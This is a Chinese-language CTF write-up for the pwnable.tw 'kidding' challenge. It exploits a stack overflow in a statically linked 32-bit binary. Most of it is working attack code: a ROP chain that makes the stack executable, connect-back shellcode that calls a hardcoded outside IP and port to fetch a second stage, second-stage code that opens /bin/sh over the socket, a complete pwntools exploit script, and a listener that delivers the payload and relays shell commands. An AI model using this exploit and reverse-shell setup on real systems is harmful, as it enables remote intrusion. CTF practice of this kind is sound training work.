主要考察逆向shellcode,程序是静态编译的。
原题地址:https://pwnable.tw/challenge/ 。
源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/kidding 。
目录
安全防护
ex@Ex:~/test$ checksec kidding
[*] '/home/ex/test/kidding'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
溢出点
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-8h]
read(0, (int)&v4, 100);
close(0);
close(1);
close(2);
return 0;
}
明显的栈溢出,但是程序完全没有交换性。
思路
该程序的难点在于,其payload长度仅有100。
先用rop使得__stack_prot
值为7
,然后利用_dl_make_stack_executable
使得栈可执行,在执行反向shellcode来拿shell。
First:
先用rop使得__stack_prot
值为7
,然后利用_dl_make_stack_executable
使得栈可执行。
layout = [
0,
0x080b8536, # : pop eax ; ret
elf.symbols['__libc_stack_end'],
0x080583c9, # : pop ecx ; ret
7,
0x080534fc, # : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
elf.symbols['_dl_make_stack_executable'],
0x080bd13b, # : jmp esp
]
原本payload可能不够,但是我找到了 mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
,使得第一步和第二步可以同时进行,节省了很多payload空间。
Second: 执行反向shellcode。
shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80
;// dup2(soc, 0)
mov ebx, eax
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov bl, 3
mov al, 0x66
int 0x80
;// read(socket, 0x804a000, 255)
mov ecx, esp
mov dl, 255
mov bl, 0
mov al, 3
int 0x80
;// shellcode
jmp ecx
''')
# pause()
sh.send('a' * 8 + flat(layout) + shellcode)
为了节省payload
空间,下面的shellcode在远程脚本中发送。
;// dup2(soc, 1)
mov ebx, 0
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80
;// dup2(soc, 2)
mov ebx, 0
mov ecx, 2
mov eax, 63 ;// SYS_dup2
int 0x80
;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80
;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
# context.arch = 'amd64'
context.arch = 'i386'
context.log_level = 'debug'
execve_file = './kidding'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10303)
elf = ELF(execve_file)
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x80488B6
b *0x80bd13b
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
layout = [
0,
0x080b8536, # : pop eax ; ret
elf.symbols['__libc_stack_end'],
0x080583c9, # : pop ecx ; ret
7,
0x080534fc, # : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
elf.symbols['_dl_make_stack_executable'],
0x080bd13b, # : jmp esp
]
shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80
;// dup2(soc, 0)
mov ebx, eax
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov bl, 3
mov al, 0x66
int 0x80
;// read(socket, 0x804a000, 255)
mov ecx, esp
mov dl, 255
mov bl, 0
mov al, 3
int 0x80
;// shellcode
jmp ecx
''')
# pause()
sh.send('a' * 8 + flat(layout) + shellcode)
sh.interactive()
clear()
控制脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket # 导入 socket 模块
import thread
def print_recv(s):
while(s):
result = s.recv(1024)
if(result):
print(result)
else:
return
s = socket.socket() # 创建 socket 对象
host = '0.0.0.0' # 获取本地主机名
port = 60106 # 设置端口
s.bind((host, port)) # 绑定端口
s.listen(1) # 等待客户端连接
while True:
c, addr = s.accept() # 建立客户端连接
print ('连接地址:' + str(addr))
c.send('\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80')
try:
thread.start_new_thread(print_recv, (c, ))
while(True):
c.send(raw_input('') + '\n')
except Exception as e:
print(e)
print("Disconnect")
c.close()